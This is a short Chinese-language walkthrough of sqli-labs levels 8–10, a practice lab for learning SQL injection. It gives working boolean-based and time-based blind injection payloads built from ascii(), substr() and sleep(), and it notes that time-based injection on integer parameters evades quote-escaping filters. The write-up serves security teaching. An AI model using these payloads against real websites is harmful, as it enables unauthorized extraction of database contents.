sqli-labs(五)——盲注(boolean盲注以及时间盲注)
第八关:
没有查询信息,输入id=1' 报错 ,也没有报错信息,这里应该是个盲注
使用boolean的盲注吧
先判断boolean的盲注可行
输入id=1' and '1'='1' %23 页面正常
输入id=1' and '1'='2' %23 页面出错
有几个mysql内置的函数需要记住:
length(str):返回str字符串的长度。
?id=1' and ascii(substr((select database()),1,1))>200 %23
说明数据库名的第一个字符的ascii码在104到200之间 ,继续用二分法找出这个字符的具体ascii码以及之后的数据库名的各个字符。
第九关:
这里输入?id=1' ?id=1"页面都没有变化,说明之前的注入方法都没用,包括boolean型盲注也都不行了。
尝试基于时间的盲注,这里需要介绍一个mysql内置的函数sleep(5) 表示执行这个函数时会延迟5秒。(每种数据库都有各自延时函数)
可以用F12看下网站处理这个请求正常需要的时间
输入?id=1
需要一秒左右的时间
输入id=1' and sleep(5) %23
处理这个请求用了6秒,说明程序执行了and后面的sql语句,只是没有数据显示而已。
后面和流程和boolean型盲注就有点类似了
输入 id=1' and if(ascii(substr((select database()),1,1))>64,sleep(5),0) %23
成功延迟了,说明当前数据库名的第一个字符的ascii码是大于64的。
后面的流程就和boolean一样了,没什么好讲的了,时间问题。
第十关:
这题也是个基于时间的盲注,但是输入?id=1' and sleep(5) %23后没有延迟,这个时候还是应该先尝试下 ?id=1" and sleep(5) %23 以及?id=1") and sleep(5) %23
如果都不延迟,则可能是不存在注入。尝试发现?id=1" and sleep(5) %23 会延迟,则说明后台是使用双引符号进行拼凑。
---------------------------------------补充----------------------------------------
这里需要补充一下,如果是注入参数是int类型的,使用基于时间的盲注将无视daddslashes这些过滤函数,因为并不需要使用单双引符号!